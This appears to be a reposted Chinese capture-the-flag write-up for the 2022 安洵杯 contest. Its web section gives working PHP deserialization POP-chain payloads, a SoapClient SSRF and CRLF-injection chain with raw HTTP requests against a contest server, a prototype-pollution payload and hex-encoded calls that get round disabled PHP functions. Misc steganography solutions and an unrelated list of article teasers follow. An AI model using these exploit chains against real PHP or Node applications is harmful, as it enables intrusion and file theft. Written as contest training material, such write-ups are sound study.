2022-安洵杯

news2024/11/24 6:33:37

WEB

babyphp

call_user_func() 函数如果传入的参数是array类型的话,会将数组的成员当作类名和方法,

array(0) { } <?php
//something in flag.php

class A
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}


if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);

flag.php

<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
   echo "only localhost!!";
}
only localhost!!

pop链
B:_destruct()通过die函数,触发C:_toString(),return $cc(); 这里触发A:_invoke函数,最后C:uwant()
B::__destruct()->C::__toString()->A::__invoke()->C::uwant()

构造exp

<?php

class A
{
    public $a = '0e215962017';
    public $b;

    public function _invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
           $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}
class C
{
    public $a;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return$cc();
    }

    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        }else{
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}

session_start();
$_SESSION['sess'] = 'SoapClient';

$first = new B();
$first->a = new C();
$first->a->c = new A();
$first->a->c->b = new C();
$first->a->c->b->a = '123';
print((serialize($first)));

得到

O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:3:"123";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"11111";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}

php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容。session反序列,利用SoapClient触发反序列化导致SSRF。

session反序列化->soap(ssrf+crlf)->call_user_func激活soap类。
构造原生类链

<?php
$a = new SoapClient(null,
    array(
        'user_agent' => "aaa\r\nCookie:PHPSESSID=flag123",  
        'uri' => 'bbb',
        // 'location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/*f*' //首先用GlobIterator找flag的名字
        'location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=file:///f1111llllllaagg'
         
    )
);
$b = serialize($a);
echo urlencode($b);
?>

运行得到

O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A66%3A%22http%3A%2F%2F127.0.0.1flag.php%3Fa%3DSplFileObject%26b%3Dfile%3A%2F%2F%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A29%3A%22aaa%0D%0ACookie%3APHPSESSID%3Dflag123%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

首先,第一次上传构造好的反序列化的session,设置ini_set中session的存储方式为php_serialize,这个时候构造的链子会通过序列化的链子存储,

POST /?baby=session.serialize_handler&d0g3=php_serialize HTTP/1.1
Host: 47.108.29.107:10356
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=flag123
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 401

sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A67%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3Dfile%3A%2F%2F%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A48%3A%22aaa%0D%0ACookie%3APHPSESSID%3Du6ljl69tjrbutbq4i0oeb0m332%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

第二次,需要将sess设置为SoapClient这个类,方便第三次利用反序列化pop链中call_user_func激活soap类

POST /?baby&d0g3 HTTP/1.1
Host: 47.108.29.107:10356
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=flag123
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

sess=SoapClient

第三次,直接用call
_user_func激活soap类,通过flag.php将flag写入session

POST / HTTP/1.1
Host: 47.108.29.107:10356
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=flag123
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 163

pop=O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"11111";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}

最后

GET / HTTP/1.1
Host: 47.108.29.107:10356
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=flag123
Connection: close

得到flag

ez_js

查看源代码

<!--This secret is 7 characters long for security!
hash=md5(secret+"flag");//1946714cfa9deb70cc40bab32872f98a
admin cookie is   md5(secret+urldecode("flag%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00dog"));
-->

secret是七位,secret+flag的md5值是1946714cfa9deb70cc40bab32872f98a
然后咱们求admin的cookie
AndyNoel师傅的脚本

from hashlib import sha256,md5
x = '1946714cfa9deb70cc40bab32872f98a'
n = b'flag'
s = list('abcdefghijklmnopqrstuvwxyz'.strip())
import itertools
for i in itertools.product(s,repeat = 7):
    d = ''.join(i).encode()
    g = d+n
    m=md5(g).hexdigest()

    if m == x:
        print(d)
        break

在这里插入图片描述
得到secret :abcdefg
呢么cookie就是ed63246fb602056fee4a7ec886d0a3c2
登录之后 查看源代码发现 jsfuck加密
得到
在这里插入图片描述

var express = require('express');
var router = express.Router();

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}

router.get('/', function(req, res, next) { 
  if(req.flag=="flag"){
    //输出flag;
    res.send('flag?????????????');
    }
    res.render('info');
});

router.post('/', express.json(),function(req, res) {
  var str = req.body.id;
  var obj = JSON.parse(str);
  req.cookies.id=clone(obj);
  res.render('info');
});

module.exports = router;

merge原型链污染
id={“aaa”:1,“proto”:{“flag”:“flag”}} 去打
在这里插入图片描述

ezupload

查看phpinfo 能够上传php文件,可以执行phpinfo
在这里插入图片描述
看到禁用了很多函数,就是想方设法绕过 进行命令执行
我看到AndyNoel师傅可以用16进制,8进制,Unicode编码都可以
选择一个十六进制

"\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"
file_get_contents

通过内置类DirectoryIterator(该类会创建一个指定目录的迭代器,当执行echo方法时,会触发DirectoryIterator类里的toString()方法,输出指定目录里面经过排序之后的第一个文件名)

<?php new DirectoryIterator(" glob:///fl*" );?>

将这个转为十六进制

<?php new DirectoryIterator("\x67\x6c\x6f\x62\x3a\x2f\x2f\x2f\x2a\x66\x2a"); ?>

最后

<?php ​file_get_contents("/fl1111111111ag") ?>

转为十六进制

<? php "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73" ("/fl1111111111ag") ?>

MISC

little_thief

前面思路很清晰,简单概述一下 得到一个流量包,分析TCP数据流,发现了一串base64的编码,也有点向jwt,base64解码 看到一个密钥
得到 s1r_Th1s_k3y
然后这个是可以打开通过流量包提取出的一个html文件
这个html纯属废话文学,然后 当时尝试了很多加密解密,什么snow ,废话文学加密解密 乱七八糟
答案是wbStego4加密解密 (隐写)
出的脑洞题,这不纯挨骂吗 。。。
在这里插入图片描述
在这里插入图片描述
得到flag

RedCoast

题目附件是一堆0和1
转化为字节流看一看

from Crypto.Util.number import *
with open('Signal', 'r') as f:
    con = f.read()
print(long_to_bytes(int(con,2)))

在这里插入图片描述
发现有zip特征
以二进制识别为十进制,再转换为bytes,保存为zip文件

from Crypto.Util.number import *
with open('Signal', 'r') as f:
    con = f.read()
with open('signal.zip', 'wb') as f2:
    f2.write(long_to_bytes(int(con,2)))

在这里插入图片描述
得到一堆黑白图片
将625图片换成25x25的图片,得到二维码:

from PIL import Image
import os

IMAGES_PATH = 'signal//'
IMAGES_FORMAT = ['.png','.PNG']
IMAGE_WIDTH = 100
IMAGE_HEIGHT = 100
IMAGE_ROW = 25
IMAGE_COLUMN = 25
IMAGE_SAVE_PATH = 'final.jpg'

newimg = Image.new('RGB',(IMAGE_COLUMN * IMAGE_HEIGHT, IMAGE_ROW * IMAGE_WIDTH))
for y in range(25):
    for x in range(25):
        timg = Image.open(IMAGES_PATH + str(y*IMAGE_COLUMN + x) + '.png')
        newimg.paste(timg, (x*IMAGE_WIDTH, y*IMAGE_HEIGHT))
newimg.save('new.png')

扫描得到 key: 187J3X1&DX3906@!

解压压缩包 得到十六进制的文本
十六进制转换图片
将图片放到Stegosolve 勾选全通道
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/45984.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Mathematica(36)-在Plot中画平行于y轴的线

在论文写作过程中&#xff0c;我们常常也需要画一条平行于y坐标轴的直线&#xff0c;怎么实现呢&#xff1f; 比如&#xff0c;下面的代码就是绘制了一条平行于y轴的直线&#xff0c;这条直线采用了虚线来表示 Plot[Sin[x], {x, 0, 2 Pi}, Epilog -> {Dashed, Line[{{5, -…

ISCSLP 2022 | AccentSpeech—从众包数据中学习口音来构建目标说话人的口音语音合成系统

构建带口音的语音合成系统可以增加语音合成的多样性和趣味性。然而不是每个人都能说多种口音。为了实现口音与说话人音色的自由组合&#xff0c;借助迁移学习技术&#xff0c;为没有口音数据的说话人构建口音合成系统&#xff0c;是实现“口音任意说”的有效途径。但是以往大多…

[网络工程师]-应用层协议-WWW与HTTP

1、WWW 万维网&#xff08;World Wide Web,WWW&#xff09;是一个规模巨大、可以互联的资料空间&#xff0c;该资料空间的资源依靠URL进行定位&#xff0c;通过HTTP协议传送给使用者&#xff0c;又由HTML进行文档的展现。由此可知&#xff0c;WWW的核心由三个主要标准构成&…

[附源码]SSM计算机毕业设计校园疫情防控管理系统JAVA

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

【遥感图像:信息增强】

SDPNet: A Deep Network for Pan-Sharpening With Enhanced Information Representation &#xff08;SDPNet&#xff1a;一种增强信息表示的泛锐化深度网络&#xff09; 本文提出了一种基于表层和深层约束的全色锐化网络SDPNet&#xff0c;以解决全色锐化问题。聚焦于全色锐…

[附源码]计算机毕业设计springboot基于java的社区管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

第二证券|重磅利好!国家能源局发文,多股立马涨停!

今日早上&#xff0c;各位小伙伴有点跌懵了吧&#xff1f;不过&#xff0c;我大A盘中又支楞起来了&#xff0c;惊不惊喜&#xff1f;意不意外&#xff1f; 周一早盘&#xff0c;A股、港股直接跳空低开。A股顺利回补此前跳空高开的缺口&#xff0c;技能上现已没有跌落的空间。 …

广和通基于联发科技 T830平台的5G模组FG370率先通过CE认证测试

11月&#xff0c;广和通5G模组FG370率先通过CE认证测试&#xff0c;进而可用于无线宽带终端部署。5G模组FG370于9月启动研发&#xff0c;并于10月正式发布&#xff0c;随后仅短短一个月&#xff0c;便通过CE认证测试。至此&#xff0c;广和通5G模组FG370已进入工程送样阶段&…

快速复现 实现 facenet-pytorch 人脸识别 windows上 使用cpu实现 人脸对比

目录0 前言1 搭建环境与项目2 人脸预测与结果展示0 前言 这一次要复现的是人脸识别中的 facenet-pytorch 参考了&#xff1a; Pytorch 搭建自己的Facenet人脸识别网络&#xff08;Bubbliiiing 深度学习 教程&#xff09; https://gitee.com/xiaozhao123666/facenet-pytorch ht…

DPDK代码目录结构

DPDK功能结构 DPDK工程目录内容 dpdk-stable-18.11.11]# ls app buildtools devtools drivers GNUmakefile lib MAINTAINERS meson.build mk README usertools build config doc examples kernel license Makefile meson_opt…

Linux常用文本编辑器,及文本查看摘选的常用命令

Linux常用文本编辑器&#xff1a; Emacs&#xff1a;功能强大&#xff0c;门槛高&#xff0c;对新手不友好。 nano &#xff1a;优点是操作简单&#xff0c;缺点是无强大的命令支持复杂操作。 gedit &#xff1a;只能在有gnome的换图形化界面中使用 kedit &#xff1a; 只能在…

服务器冗余常见问题及解答汇总

对于众多组织来说&#xff0c;在灾难发生后能够访问数据至关重要。而硬件故障、应用程序故障、网络问题和其他此类问题会阻止服务器的正常运行&#xff0c;使用户无法访问服务和重要数据。这时企业可以通过采用服务器冗余来避免这些突发事件。下面是关于服务器冗余常见问题解答…

10【Mybatis延迟加载】

文章目录一、Mybatis 延迟加载1.1 延迟加载介绍1.1.1 搭建项目工程1&#xff09;SQL脚本&#xff1a;2&#xff09;引入依赖&#xff1a;3&#xff09;MyBatis核心配置文件&#xff1a;4&#xff09;实体类&#xff1a;5&#xff09;dao接口&#xff1a;6&#xff09;mapper.xm…

Java本地搭建实战毕设项目sprignboot电商书城管理系统源码

大家好啊&#xff0c;我是测评君&#xff0c;欢迎来到web测评。 本期给大家带来一套Java开发的sprignboot电商书城管理系统源码&#xff0c;包含前端界面、后台管理界面。适合拿来做毕业设计的同学。可以下载来研究学习一下。本期就把这套系统分享给大家。 技术架构 技术框架&…

Meta-learning

基本理解 meta learning翻译为元学习&#xff0c;也可以被认为为learn to learn 元学习与传统机器学习的不同在哪里&#xff1f; 元学习与传统机器学习&#xff0c; 这里举个通俗的例子&#xff0c;拿来给大家分享&#xff1f; 把训练算法类比成学生在学校学习&#xff0c;传…

Macleod中的偏振

我们用偏振来描述光波电场的方向。虽然是很复杂&#xff0c;但它的影响是完全明确和可计算的。图1显示了一个简单的长波通滤波器在斜入射时的计算性能&#xff0c;其曲线标记为p-偏振、s-偏振和平均极化。这些名称是什么意思&#xff1f; 图1. 在45条件下计算的600nm长波通滤…

华清远见(上海中心)22071

platform总线&#xff0c;三种匹配方式 一、设备名字匹配 设备文件代码>>> #include <linux/init.h> #include <linux/module.h> #include <linux/platform_device.h>//对设备信息进行填充 struct resource res[]{[0]{.start0x12345678,.end0x12…

服务网关之Spring Cloud Gateway

目录一、网关简介二、Gateway简介三、Gateway快速入门1、基础版2、增强版3、简写版四、Gateway核心架构1、基本概念2、执行流程五、断言1、内置路由断言工厂2、自定义路由断言工厂一、网关简介 大家都知道在微服务架构中&#xff0c;一个系统会被拆分为很多个微服务。那么作为客…

Linux Docker基础学习

Linux Docker基础学习Linux指令Linux安装Docker检查是否安装成功容器容器的创建删除运行停止容器端口转发查看容器提供的端口号Docker交互模式镜像镜像的拉取删除镜像的导入导出Dockerfile制作镜像上传镜像到DockerhubDockerfile文件详解FROMRUN指令镜像中添加文件&#xff08;…

运维监控系统PIGOSS BSM 对“实时数据复制”系统的监控管理

前言 随着应用信息化程度的不断深入&#xff0c;长期积累的业务数据变得价值连城。业务数据备份安全是业务连续性的重要保障&#xff1b; 而同时&#xff0c;业务数据也指导成为企业进行业务分析最有价值的科学依据。 所以&#xff0c;人们纷纷为业务系统建设容灾备份系统&…